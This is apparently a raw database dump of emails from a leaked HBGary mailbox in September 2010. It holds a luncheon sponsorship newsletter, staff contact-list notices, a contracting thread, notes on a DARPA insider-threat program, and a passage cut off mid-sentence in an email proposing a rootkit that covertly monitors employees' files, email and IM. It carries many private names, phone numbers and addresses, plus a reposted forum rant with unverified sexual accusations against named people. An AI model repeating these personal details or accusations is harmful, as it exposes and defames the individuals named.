\r\n    \r\n      \r\n        \r\n        Renew \r\n              or Purchase\r\n              Your Corporate Table\r\n              for the 2010-2011\r\n              Luncheon Season!\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          \r\n            \r\n              Tables Almost Completely\r\n                    Sold for this Season\r\n                    1st Luncheon is September 27, 2010\r\n                    Leveraging Commercial Technologies \r\n                    for the Army\'s Future \r\n                    \r\n                  Panel \r\n                    Chaired by Army CIO/G-6 LTG Jeff Sorenson\r\n                    &amp; Annual Awareness Effort for the NSC\r\n                  \r\n                     \r\n                      \r\n                      \r\n                      \r\n                      \r\n                    \r\n                     \r\n                      LTG Jeffrey\r\n                        Sorenson\r\n                      MG Nick\r\n                        Justice\r\n                      BG Lee\r\n                        Price\r\n                      Mr. Gary\r\n                        Winkler\r\n                    \r\n                  \r\n                  AFCEA DC is once again kicking off the \r\n                    Luncheon Season with a bang! Sign-up your company to sponsor \r\n                    a table for the 2010-2011 Season, and earn year-long benefits \r\n                    while taking full advantage of the first luncheon in September \r\n                    - an incredible Army Panel plus annual awareness luncheon \r\n                    for the National Science Center (NSC). The networking is always \r\n                    terrific at this event, and the cause of STEM Education is \r\n                    an important one to our community, our Military, and our Country.\r\n                  Register \r\n                    for Your Corporate Table for the Year (Only 3 remain)\r\n                  Register \r\n                    as an Individual to Attend the Luncheon (Gratis for Gov Employees)\r\n                    \r\n                  \r\n                  1st Luncheon of the Season: \r\n                    \r\n                    Army Flag &amp; SES Panel\r\n                    Plus Awareness Luncheon for the NSC\r\n                    Sept 27 - Ritz Carlton, Pentagon City\r\n                  Luncheon Theme: \r\n                    Leveraging Commercial Technologies for the Army\'s Future\r\n                  Speakers:\r\n                  \r\n                      LTG Jeffrey Sorenson, \r\n                      Army CIO/G6 - Moderator\r\n                    MG Nick Justice, Commanding \r\n                      General, RDECOM\r\n                    MG Mark Bowman, Director \r\n                      of Architecture, Operations, Networks and Space\r\n                    BG Lee Price, PEO C3T\r\n                    Mr. Gary Winkler, PEO \r\n                      EIS\r\n                    COL (P) Marke R. Quantock, \r\n                      Nominated for Director of Operations (G-3), ARFORCYBER\r\n                    COL John Morrison, Director, \r\n                      LandWarNet/Battle Command G-3/5/7\r\n                      \r\n                  \r\n                 CALL \r\n                  FOR CORPORATE TABLE HOLDERS\r\n                  AFCEA DC is kicking off its annual \r\n                    Monthly Luncheon Corporate Table Holder Drive with \r\n                    this first exciting Army program and many more such events \r\n                    to come..\r\n                  Register \r\n                    Online for your Company\'s sponsorship, \r\n                    and have a reserved table every month at our 9-month Luncheon \r\n                    Series (Starting with September 27, and running through \r\n                    June 2011, with a break in December for the Winter Gala). \r\n                    Signing-up online is your act of commitment for the \r\n                    table, and you can choose to pay instantly by credit card \r\n                    or manually by check.\r\n                  The AFCEA DC Luncheon Series is an outstanding \r\n                    networking opportunity for the defense, intelligence, and \r\n                    homeland security communities each month. If you are looking \r\n                    to understand trends in DoD Programs and Management, find \r\n                    industry Partners, or hire talented employees... You \r\n                    should be at AFCEA DC every month.\r\n                  We have another exceptional program/speaker \r\n                    line-up slated for this year, including:\r\n                  \r\n                     Army Panel &amp; National Science Center \r\n                      (NSC) Awareness luncheon - Sept 27\r\n                    Navy panel - Oct 22\r\n                    DHS panel - Nov 22\r\n                    DISA panel - Jan TBD\r\n                    Air Force panel - Feb TBD\r\n                    Intelligence Community panel - Mar TBD\r\n                    Health IT panel - Apr TBD\r\n                    Joint Service panel &amp; Spring Leadership \r\n                      Awards - May 20\r\n                    Annual scholarship luncheon - Jun TBD\r\n                  \r\n                  Benefits to AFCEA DC Season Corporate \r\n                    Table Holders include:\r\n                  \r\n                    Reserved table and seating for up to SIX \r\n                      of your employees at every monthly luncheon of the AFCEA \r\n                      DC Series for full table holders (Up to THREE seats for \r\n                      half-tables);\r\n                    A guaranteed seat to hear the most relevant \r\n                      military officers &amp; SES executives brief on the programs \r\n                      and opportunities they oversee;\r\n                    Government attendees (potential clients) \r\n                      seated at your table first (all government luncheon guests \r\n                      placed randomly by AFCEA DC, for ethical reasons);\r\n                    Your corporate logo featured prominently \r\n                      on the AFCEA DC website -- visited by thousands of potential \r\n                      clients and partners each year;\r\n                    Your corporate logo prominently displayed \r\n                      on your table at each monthly luncheon;\r\n                    Your support listed on a flier at every \r\n                      chair at the Luncheon -- all attendees will know you are \r\n                      AFCEA DC\'s partner;\r\n                    Your support listed on dozens of emails \r\n                      broadcast to thousands of DC area professionals - sent to \r\n                      the entire AFCEA DC database each month\r\n                    An invitation to purchase advance tickets \r\n                      to the AFCEA DC Winter Gala, Spring Gala, and other special \r\n                      events that may be planned this year. These events are almost \r\n                      always sold-out, so advance tickets are a must.\r\n                  \r\n                  Generous Companies who ALSO Sponsor \r\n                    the NSC Event, get added benefits:\r\n                  \r\n                    Your corporate logo on the NSC Event Website\r\n                    Your corporate logo on the NSC Event Program\r\n                    Your Corporate Name in all marketing emails \r\n                      and materials for the NSC Event\r\n                    Your Corporate Logo on the Screen running \r\n                      during the NSC Event\r\n                    Prominent Placement of your Table at the \r\n                      NSC Event, closer to the podium\r\n                    All of the benefits of the regular Corporate \r\n                      Table-Holders listed above \r\n                    Knowledge that you are supporting a very \r\n                      important cause, near and dear to the hearts of those in \r\n                      attendance: Keeping America Strong by ensuring \r\n                      that our citizens and future leaders are competitive in \r\n                      Math &amp; Science.\r\n                  \r\n                  Corp Table Sponsorships:\r\n                  \r\n                    $5,000 - Full Corp Table Only for \r\n                      the year (6 seats each month @ 9 lunches)\r\n                    $2,500 - Half Corp Table Only for \r\n                      the year (3 seats each month @ 9 lunches)\r\n                  \r\n                  NSC Sponsorships:\r\n                  \r\n                      $1,000 - Sponsorship of NSC\r\n                    $500 - Small Business Sponsorship \r\n                      of NSC\r\n                      (you must have less than 150 employees) \r\n                      \r\n                   Register \r\n                    for your Corp Table and NSC Sponsorship Online Now\r\n                    (Signing-up online for the table is your act of commitment; \r\n                    you can select to pay by credit card or check)\r\n                  Register \r\n                    as an Individual to Attend the Luncheon (Gratis for Gov Employees)\r\n                    \r\n                  \r\n                  \r\n                  Has \r\n                    Your Company Renewed/Purchased\r\n                    Your Table Yet for this Season?\r\n                  Our \r\n                    Supporters are Your Potential Partners &amp; Solution Providers!\r\n                  \r\n                  Last \r\n                    Year\'s 2009-2010 AFCEA DC Corporate Table Holders\r\n                \r\n                  \r\n                    Last \r\n                          Year\'s Multiple Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      General Dynamics\r\n                      \r\n                    \r\n                    \r\n                      Northrop Grumman\r\n                  \r\n                  \r\n                    \r\n                       SAIC\r\n                        \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    Last \r\n                          Year\'s Full Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      Apptis\r\n                      BAE Systems\r\n                      Booz Allen Hamilton\r\n                      Brocade\r\n                      CACI\r\n                      CGI Federal\r\n                      Computer Sciences Corporation\r\n                      General Dynamics\r\n                      General Dynamics Information Technology\r\n                      Google\r\n                      GTSI\r\n                      Harris\r\n                      Hitachi Data Systems \r\n                      \r\n                    \r\n                    \r\n                      HP\r\n                      immixGroup\r\n                      Lockheed Martin\r\n                      ManTech International\r\n                      Microsoft\r\n                      Network Security Systems Plus\r\n                      Northrop Grumman\r\n                      Northrop Grumman\r\n                      Qwest Government Services\r\n                      SAIC\r\n                      SAIC\r\n                      SAIC \r\n                      Verizon Business\r\n                  \r\n                  \r\n                    Last Year\'s Half-Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      \r\n                        Accenture\r\n                        Adobe Systems\r\n                        AT&amp;T\r\n                        Ball Aerospace &amp; Technologies\r\n                        Business Growth Associates\r\n                        CA\r\n                        Capgemini Government Solutions\r\n                        CapRock Government Solutions\r\n                        Ciena\r\n                        Cisco\r\n                        CPS Professional Services\r\n                        Deloitte\r\n                        Distributed Solutions\r\n                        DSA\r\n                        GovDelivery\r\n                        Grant Thornton\r\n                        IBM - Tivoli Federal\r\n                        Inmarsat Government Services\r\n                        ITT Corporation\r\n                        Juniper Networks\r\n                        Knightfork\r\n                        L-3 Enterprise IT Solutions\r\n                        Level 3 Communications\r\n                        \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                         LGS Innovations\r\n                          NetApp\r\n                          Nortel Government Solutions\r\n                          QinetiQ North America\r\n                          GuardianEdge\r\n                          Quest Software Public Sector\r\n                          Qwest Government Services\r\n                          Raytheon\r\n                          RightNow Technologies\r\n                          Riverbed Technology\r\n                          SAP Public Services\r\n                          Scitor Corporation\r\n                          Segovia\r\n                          Sprint\r\n                          SRA International\r\n                          SRI International\r\n                          Suss Consulting\r\n                          TechTeam Government Solutions\r\n                          Terremark Federal Group\r\n                          Truestone\r\n                          Trusted Computer Solutions\r\n                          Ultra Electronics-Criticom\r\n                          Vangent\r\n                          ZAI Solutions\r\n                        \r\n                    \r\n                  \r\n                \r\n                Shouldn\'t \r\n                  Your Company Be Listed This Year?\r\n                To \r\n                  reserve your Corporate Table for the remainder of the luncheon season,\r\n                  Sign-up \r\n                    online.\r\n                      \r\n                \r\n            \r\n          \r\n            \r\n            \r\n          \r\n          \r\n\r\n              \r\n                Early NSC Sponsors: \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n                         \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n  \r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                        \r\n\r\n\r\n  \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n  \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n  \r\n\r\n                        \r\n                          \r\n                          \r\n                          \r\n                          \r\n\r\n\r\n\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                Early FY2010-2011\r\n                    Multi-Table Sponsor: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                        &nbsp;\r\n                          Northrop Grumman\r\n                          SAIC\r\n                          &nbsp;\r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                  Early FY2010-2011\r\n                    Full Table Sponsors: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                    \r\n                       \r\n                        Adobe\r\n                           Booz Allen Hamilton\r\n                          Brocade\r\n                          CGI Federal\r\n                          Cisco\r\n                           CSC\r\n                          General Dynamics\r\n                          Google\r\n                          Harris\r\n                          Hitachi Data Systems\r\n                          immixGroup\r\n                          Inmarsat Government Services\r\n                          InfoZen\r\n                          Qwest Government Service\r\n                          Lockheed Martin\r\n                          McAfee\r\n                          Microsoft Corporation\r\n                          Verizon Business\r\n                          &nbsp;\r\n                      \r\n                    \r\n                  \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                Early FY2010-2011\r\n                    Half Table Sponsors: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                    \r\n                       \r\n                        Accenture\r\n                            AT&amp;T\r\n                            CapRock Govt Solns\r\n                            Cisco\r\n                            Deloitte\r\n                            Esri\r\n                            General Dynamics IT\r\n                            GovDelivery Federal\r\n                            ITT Corporation\r\n                            Juniper Networks\r\n                            K2Share\r\n                            L-3 STRATIS\r\n                            LGS Innovations\r\n                            ManTech\r\n                            Merlin International\r\n                            MTCSC\r\n                            NetStar-1\r\n                            QinetiQ North America\r\n                            Quest Software\r\n                            Raytheon\r\n                            RightNow Technologies\r\n                            Riverbed Technology\r\n                            Rockwell Collins\r\n                            Scitor Corporation\r\n                            Segovia\r\n                            SRA International\r\n                            SRI International\r\n                            Strohmier Consulting\r\n                            Suss Consulting\r\n                            TechTeam Govt Solns\r\n                            Terremark Federal\r\n                            T-Mobile Govt Solns\r\n                            Trusted Computer Solns\r\n                            Ultra Electronics Criticom\r\n                            ZAI Solutions\r\n                          \r\n                      \r\n                    \r\n                  \r\n            \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA DC Management by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',7768,'aaron_hbgary_com/7768.html'),(11885,'2010-09-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008876.M949371P14101Q6740.eml','\"Inc. HBGARY\" <All@hbgary.com>','revised contact and extension list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease contact me if there are any mistakes.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8009,'aaron_hbgary_com/8009.html'),(11886,'2010-09-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008877.M162444P14101Q6741.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning Meeting)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre either of you going to this GD meeting?&nbsp; In either case we\r\nneed to reply.&nbsp; Pls let me know what you want to do.&nbsp; I think this meeting will\r\nbe some jockeying for who gets FTEs.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Michael Gotte\r\n[mailto:mgotte@wareonearth.com] \r\nSent: Thursday, September 16, 2010 6:04 PM\r\nTo: \'Holtmann, Vincent A.\'; Ebber@avi.com; \'Kevin Estrem\'; \'Murphy, Marc\r\n(US - Charlotte)\'; \'Smith, Timothy-P65114 (EXT) (GDC4S)\'; \'Long, John P\';\r\ncarl.houghton@issinc.com; \'Beck, Bob\'; \'Autry, Tim\'; \'Dan Roberts\'; \'Elijah\r\nSutton\'; \'Mike Smith\'; \'Adam Stotz\'; \'Dave Atherton\';\r\nrobert_labella@minervaengineering.com; jmathis@ndti.net; sbodmer@savidcorp.com;\r\n\'Lynn Lehman\'; \'Lee Krause\'; wbrew@simulexinc.com; \'Alok Chaturvedi\'; \'Roger\r\nWebb\'; james.mulvenon@defensegp.com; \'Bob Slapnik\'; \'Jeffrey Carr\';\r\nJondi_Bernardo@McAfee.com; \'Mike Sulek\'; sleanheart@telcordia.com;\r\nrichard.tillery@vissllc.com; gproctor@atcorp-dc.com; jim.burton@cataphora.com;\r\n\'Jeffrey Morgan\'; \'Jacobson, Ron\'; \'Dietz, James Eric\'; tgrabowski@netezza.com;\r\n\'Wendy Yee\'\r\nCc: \'Valdez, George G.\'; \'Rabideau, Tim J.\'; \'Carron, Brian E.\';\r\n\'Martin, Robert Z.\'; \'Jaeger, James A.\'; Jon Dorrick\r\nSubject: RE: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract\r\nPlanning Meeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nVincent,\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe following WCI/SMS personnel will be attending the pre-award status and\r\ncontract planning meeting. Marianne Meins - VP/GM Systems Engineering\r\nand Security Sector\r\n\r\nPaul Rempfer - VP Strategy and Business Development, Tony Yancey\r\n&#8211; PM, John Rubritz &#8211; PM. If you have any questions please feel free to contact\r\nme on my mobile number listed below. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nV/R\r\n\r\n&nbsp;\r\n\r\nMichael D Gotte\r\n\r\nDirector,&nbsp;Advanced Programs\r\n\r\nWareOnEarth Communications, Inc.\r\n\r\nAn SMS Company\r\n\r\n&nbsp;\r\n\r\nOffice: (7570 523-9023\r\n\r\nMobile:(757) 416-8968\r\n\r\nFax:&nbsp;&nbsp;&nbsp; (757) 523-8646\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, September 07, 2010 10:23 PM\r\nTo: Ebber@avi.com; Kevin Estrem; Murphy, Marc (US - Charlotte); Smith,\r\nTimothy-P65114 (EXT) (GDC4S); Long, John P; carl.houghton@issinc.com; Beck,\r\nBob; Autry, Tim; Dan Roberts; Elijah Sutton; Mike Smith; Adam Stotz; Dave\r\nAtherton; robert_labella@minervaengineering.com; jmathis@ndti.net;\r\nsbodmer@savidcorp.com; Lynn Lehman; Lee Krause; wbrew@simulexinc.com; Alok\r\nChaturvedi; mgotte@wareonearth.com; Roger Webb; james.mulvenon@defensegp.com;\r\n\'Bob Slapnik\'; Jeffrey Carr; Jondi_Bernardo@McAfee.com; Mike Sulek;\r\nsleanheart@telcordia.com; richard.tillery@vissllc.com; gproctor@atcorp-dc.com;\r\njim.burton@cataphora.com; Jeffrey Morgan; Jacobson, Ron; Dietz, James Eric;\r\ntgrabowski@netezza.com; Wendy Yee\r\nCc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin,\r\nRobert Z.; Jaeger, James A.\r\nSubject: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract Planning\r\nMeeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nPlease review the attached slide deck for our SSC PAC Cyber Warfare meeting\r\ndetails.&nbsp; We understand that not everyone will be able to attend, but\r\nwanted to ensure that all exclusive team members are invited. For those unable\r\nto attend, meeting notes will be taken and distributed to the team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nActions\r\n\r\n\r\n\r\n\r\n Select\r\n     Yes or No for your attend so we can get a head count\r\n Let\r\n     me know if you have any questions\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook\r\nforward to all that can make the trip!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15455,'aaron_hbgary_com/15455.html'),(11887,'2010-09-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008877.M390216P14101Q6742.eml','\"Inc. HBGARY\" <All@hbgary.com>','New Ext and Contact list all in one','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Guys,\r\n\r\n&nbsp;\r\n\r\nThis one is much better.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6084,'aaron_hbgary_com/6084.html'),(11888,'2010-09-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008877.M657183P14101Q6743.eml','\"Inc. HBGARY\" <All@hbgary.com>','Revised phone list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry I forgot Bob.&nbsp; Sorry Bob I still like you.&nbsp; Also Matt\r\ninfo is now corrected.&nbsp; Not sure How I did such a mistake on yours Matt.&nbsp;&nbsp; I have\r\ndouble check all info.&nbsp; Please contact me again if there are any mistakes.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10943,'aaron_hbgary_com/10943.html'),(11889,'2010-09-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008877.M871758P14101Q6744.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Info on DARPA Cinder program','Comments on slides:\r\n \r\n14:\r\nHe wants to detect spies, either internal physical, or internal via externally placed cyber asset (aka &#39;virtual insider threat&#39;)\r\n \r\n15:\r\nMost of what a spy does would not appear suspicious if viewed alone, the collection of actions as a whole must be analyzed - DARPA expects they can see a pattern (aka &#39;mission&#39;).\r\nThere is no exploitation - it is assumed spy already has access - so computer &#39;security&#39; products have no meaning here.\r\nLooking for changes (delta&#39;s) in normal user behavior has proven unsuccessful (they tried it already, it sucked).\r\nThe only time they catch APT is when the APT fucks up by mistake.\r\n \r\n16:\r\nDARPA (mudge) thinks that they can detect Aldrich Ames by looking for his poker &#39;tells&#39;.\r\nThe &#39;tells&#39; to look for are tied to a pattern, which is called the &#39;mission&#39; here.\r\nNote: it may be that certain &#39;mission&#39; patterns are predefined and we attempt to map these over user behaviors to detect outliers or &#39;tells&#39;\r\n \r\n19:\r\nDARPA (mudge) views the tells as a directed graph.  This may be how he wants mission patterns to be defined.  When the pattern is fully traversed, the alarms go off.\r\n \r\n \r\nOn Thu, Sep 16, 2010 at 2:16 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg,\r\n \r\nHere is the link to the DARPA Cinder program.  This is where we learn what they want.\r\nhttp://cinderprogram.spcconference.com/cgi-bin/index.cgi\r\n \r\nBob \r\n \r\n \r\n',6558,'aaron_hbgary_com/6558.html'),(11890,'2010-09-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008878.M128334P14101Q6745.eml','\"Inc. HBGARY\" <All@hbgary.com>','Do not read the last email','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI believe I am having probles with My computer or I am just\r\nhaving problems.&nbsp; I will send you a current contact list when I find out the problem\r\nI am Having.\r\n\r\n&nbsp;\r\n\r\nSorry for the inconvenience. &nbsp;\r\n\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2046,'aaron_hbgary_com/2046.html'),(11891,'2010-09-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008878.M348165P14101Q6746.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','got to love the internet....','I found this post while looking for cyber attack data...\r\n \r\n \r\nsnip --&gt;\r\n \r\nDavid Freer (VP, Symantec - Norton, APJ) is a BIG LIAR!by strelaoz yin (View MyPage) on Apr 27, 2010 09:11 PM  | Hide replies\r\nDavid Freer (VP, Symantec Consumer Business Units - Norton, APJ) is a BIG LIAR! He lied to me for more than two and half years for my true feelings, time, and money. Also kept saying I am the only one in his life. Even this year on Feb. 2, he used company line to lead me to have phone sex with him. Until I found out there’s some other woman, he made up another lie and finally admitted he’s been living with her for a year. Later, I realized they were all lies. He actually has married March 2009. And now he just totally disappeared and not answering any phone calls, acting like “hit &amp; run” irresponsible baby. Can you trust someone like this, with no ethics and integrity? The more unbelievable things are David Freer newly-wed wife - SUZY WALSHAM, she shamefully admitted she was the third person who broke up David Freer &amp; his ex 12 years relationships, and mocking at me as the 3rd \\&quot;unsuspected\\&quot; person, as she agreed with his husband’s behaviors!!!!!! SHAME ON both of you, DAVID FREER &amp; SUZY WALSHAM!!!!!!! (THEY BOTH WORK FOR SYMANTEC)\r\n\r\n \r\nHere is the link: http://business.rediff.com/slide-show/2010/apr/27/slide-show-1-tech-hacking-top-10-countries.htm\r\n\r\n \r\nlol\r\n',10321,'aaron_hbgary_com/10321.html'),(11892,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008878.M543061P14101Q6747.eml','\"Greg Hoglund\" <greg@hbgary.com>','talking with Greg','\r\n',16866,'aaron_hbgary_com/16866.html'),(11893,'2010-09-17','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008878.M778984P14101Q6748.eml','\"Inc. HBGARY\" <All@hbgary.com>','Revised Contact list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI believe this contact list is perfect.&nbsp; I saved first\r\ncorrected again and saved again.&nbsp; &nbsp;&nbsp;Please contact me if there are any\r\ncorrections that need to be made.&nbsp; Hopefully there are none.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2328,'aaron_hbgary_com/2328.html'),(11894,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008878.M976680P14101Q6749.eml','\"Bob Slapnik\" <bob@hbgary.com>','give me a call','',10760,'aaron_hbgary_com/10760.html'),(11895,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008879.M208703P14101Q6750.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Mission','OK Guys,I think I can write most of this but I need help on developing the monitor on the box that collects all of the behavioral information and then develops statistical norms across the enterprise as well as for the individual. &nbsp;So you have all these boxes with a rootkit monitoring file access, email communications, IM traffic. &nbsp; You develop norms for the organization, probably even more detailed by functional groups or sub-organizations (HR people have different patterns than developers).You bring all that data back to a central location and then flag when activity falls out of the norm by some amount over some time period.Greg: &nbsp;Please write about the technical details of the rootkit and what it can collect about all the different dimensions below and how it can collect and store the metadata on these dimensions so we can do statistical analysis for normal and abnormal behavior.Mark/Ted: Look at what I have identified as Dimensions and make recommendations on what is stupid or what I have missed.Aaron: &nbsp;I will write the overall context of the insiders behavior, what we will look to correlate across the organization.-------------------------Mission: Recruited Spy in Defense Contractor ACME wants to remain as employee while continuously identifying, gaining access, collecting, and exfiltrating information on the companies contracts with the government as well as its IP on 